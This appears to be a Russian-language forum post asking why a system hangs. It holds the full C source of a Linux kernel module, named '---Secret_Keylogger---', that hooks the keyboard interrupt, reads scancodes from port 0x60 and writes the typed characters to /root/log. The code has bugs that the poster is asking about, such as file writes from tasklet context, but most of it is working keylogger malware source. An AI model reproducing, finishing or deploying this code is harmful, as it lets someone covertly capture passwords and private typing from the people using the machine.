Всем привет, изучаю драйверы, следующий код реализует драйвер логирования ввода с клавиатуры, то есть после нажатия на клавишу клавиатуры происходит прерывание, которое записывает скан код клавиши в отдельный файл.
После загрузки драйвера в ядро, система продолжает работать непродолжительное время, после чего зависает.
Возможно здесь есть люди, которые сталкивались с подобной проблемой.
Единственное что мне приходит в голову, это то, что обработка прерывания в тасклете происходит настолько долго, что компьютер зависает.
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/interrupt.h>
#include <asm/io.h>
#include <linux/fs.h>
#include <asm/segment.h>
#include <linux/uaccess.h>
#include <linux/buffer_head.h>
#include <linux/string.h>
#define KB_IRQ 1
const char *NAME = "---Secret_Keylogger---";
const char *LOG_FILE = "/root/log";
struct file* log_fp;
loff_t log_offset;
struct task_struct *logger;
/* Содержит информацию для логирования */
struct logger_data{
unsigned char scancode;
} ld;
/* =================================================================== */
/* Открывает файл из пространства ядра. */
struct file* log_open(const char *path, int flags, int rights)
{
struct file *fp = NULL;
mm_segment_t old_fs;
int error = 0;
/* Сохранить текущий предел адреса процесса */
old_fs = get_fs();
/* Установка ограничения текущего адреса процесса на адрес ядра */
set_fs(get_ds());
fp = filp_open(path, flags, rights);
/* Восстановление огрнаичения адреса для текущего процесса */
set_fs(old_fs);
if(IS_ERR(fp)){
/* Обработка ошибки */
error = PTR_ERR(fp);
printk("log_open(): ERROR = %d", error);
return NULL;
}
return fp;
}
/* Closes file handle. */
void log_close(struct file *fp)
{
filp_close(fp, NULL);
}
/* Запись буффера в файл из пространства ядра */
int log_write(struct file *fp, unsigned char *data,
unsigned int size)
{
mm_segment_t old_fs;
int ret;
old_fs = get_fs();
set_fs(get_ds());
ret = vfs_write(fp, data, size, &log_offset);
/* Увеличение смещения файла, чтобы записать следующую операция записи */
log_offset += size;
set_fs(old_fs);
return ret;
}
/* =================================================================== */
/* Преобразует код сканирования в ключ и записывает */
void tasklet_logger(unsigned long data)
{
static int shift = 0;
char buf[32];
memset(buf, 0, sizeof(buf));
/* Convert scancode to readable key and log it. */
switch(ld.scancode){
default:
return;
case 1:
strcpy(buf, "(ESC)"); break;
case 2:
strcpy(buf, (shift) ? "!" : "1"); break;
case 3:
strcpy(buf, (shift) ? "@" : "2"); break;
case 4:
strcpy(buf, (shift) ? "#" : "3"); break;
case 5:
strcpy(buf, (shift) ? "$" : "4"); break;
case 6:
strcpy(buf, (shift) ? "%" : "5"); break;
case 7:
strcpy(buf, (shift) ? "^" : "6"); break;
case 8:
strcpy(buf, (shift) ? "&" : "7"); break;
case 9:
strcpy(buf, (shift) ? "*" : "8"); break;
case 10:
strcpy(buf, (shift) ? "(" : "9"); break;
case 11:
strcpy(buf, (shift) ? ")" : "0"); break;
case 12:
strcpy(buf, (shift) ? "_" : "-"); break;
case 13:
strcpy(buf, (shift) ? "+" : "="); break;
case 14:
strcpy(buf, "(BACK)"); break;
case 15:
strcpy(buf, "(TAB)"); break;
case 16:
strcpy(buf, (shift) ? "Q" : "q"); break;
case 17:
strcpy(buf, (shift) ? "W" : "w"); break;
case 18:
strcpy(buf, (shift) ? "E" : "e"); break;
case 19:
strcpy(buf, (shift) ? "R" : "r"); break;
case 20:
strcpy(buf, (shift) ? "T" : "t"); break;
case 21:
strcpy(buf, (shift) ? "Y" : "y"); break;
case 22:
strcpy(buf, (shift) ? "U" : "u"); break;
case 23:
strcpy(buf, (shift) ? "I" : "i"); break;
case 24:
strcpy(buf, (shift) ? "O" : "o"); break;
case 25:
strcpy(buf, (shift) ? "P" : "p"); break;
case 26:
strcpy(buf, (shift) ? "{" : "["); break;
case 27:
strcpy(buf, (shift) ? "}" : "]"); break;
case 28:
strcpy(buf, "(ENTER)"); break;
case 29:
strcpy(buf, "(CTRL)"); break;
case 30:
strcpy(buf, (shift) ? "A" : "a"); break;
case 31:
strcpy(buf, (shift) ? "S" : "s"); break;
case 32:
strcpy(buf, (shift) ? "D" : "d"); break;
case 33:
strcpy(buf, (shift) ? "F" : "f"); break;
case 34:
strcpy(buf, (shift) ? "G" : "g"); break;
case 35:
strcpy(buf, (shift) ? "H" : "h"); break;
case 36:
strcpy(buf, (shift) ? "J" : "j"); break;
case 37:
strcpy(buf, (shift) ? "K" : "k"); break;
case 38:
strcpy(buf, (shift) ? "L" : "l"); break;
case 39:
strcpy(buf, (shift) ? ":" : ";"); break;
case 40:
strcpy(buf, (shift) ? "\"" : "'"); break;
case 41:
strcpy(buf, (shift) ? "~" : "`"); break;
case 42:
case 54:
shift = 1; break;
case 170:
case 182:
shift = 0; break;
case 44:
strcpy(buf, (shift) ? "Z" : "z"); break;
case 45:
strcpy(buf, (shift) ? "X" : "x"); break;
case 46:
strcpy(buf, (shift) ? "C" : "c"); break;
case 47:
strcpy(buf, (shift) ? "V" : "v"); break;
case 48:
strcpy(buf, (shift) ? "B" : "b"); break;
case 49:
strcpy(buf, (shift) ? "N" : "n"); break;
case 50:
strcpy(buf, (shift) ? "M" : "m"); break;
case 51:
strcpy(buf, (shift) ? "<" : ","); break;
case 52:
strcpy(buf, (shift) ? ">" : "."); break;
case 53:
strcpy(buf, (shift) ? "?" : "/"); break;
case 56:
strcpy(buf, "(R-ALT"); break;
/* Space */
case 55:
case 57:
case 58:
case 59:
case 60:
case 61:
case 62:
case 63:
case 64:
case 65:
case 66:
case 67:
case 68:
case 70:
case 71:
case 72:
strcpy(buf, " "); break;
case 83:
strcpy(buf, "(DEL)"); break;
}
log_write(log_fp, buf, sizeof(buf));
}
/* Регистрация такслета для логирования ключей */
DECLARE_TASKLET(my_tasklet, tasklet_logger, 0);
/* Функция-обработчик для прерывания. */
irq_handler_t kb_irq_handler(int irq, void *dev_id, struct pt_regs *regs)
{
/* Уставновка глобального значения для получения кода скинрования */
ld.scancode = inb(0x60);
/* Мы хотим избежать ввода/вывода в обработчик прерывания планируем
такслет для записи ключа в файл логирования на свободное время
*/
tasklet_schedule(&my_tasklet);
return (irq_handler_t)IRQ_HANDLED;
}
/* Точка входа модуля */
static int __init kb_init(void)
{
int ret;
char buf[32];
/* Открытие файла для записи или его создание, если он не существует*/
log_fp = log_open(LOG_FILE, O_WRONLY | O_CREAT, 0644);
if(IS_ERR(log_fp)){
printk(KERN_INFO "FAILED to open log file.\n");
return 1;
}
else{
/* Файл логирования открыт, напечатать отсладочное сообщение */
printk(KERN_INFO "SUCCESSFULLY opened log file.\n");
/* Запись заголовка в лог-файл */
memset(buf, 0, sizeof(buf));
strcpy(buf, "-LOG START-\n\n");
log_write(log_fp, buf, sizeof(buf));
}
/* Запрос регистрации общего обработчика прерываний */
ret = request_irq(KB_IRQ, (irq_handler_t)kb_irq_handler, IRQF_SHARED,
NAME, &ld);
if(ret != 0){
printk(KERN_INFO "FAILED to request IRQ for keyboard.\n");
}
return ret;
}
/* Выход из модуля */
static void __exit kb_exit(void)
{
/* Удлаяем тасклет */
tasklet_kill(&my_tasklet);
/* Освобождение обработчика прерываний, отдавая системе первоначальный контроль */
free_irq(KB_IRQ, &ld);
/* Закрытие дескриптора файла логирования */
if(log_fp != NULL){
log_close(log_fp);
}
}
MODULE_LICENSE("GPL");
module_init(kb_init);
module_exit(kb_exit);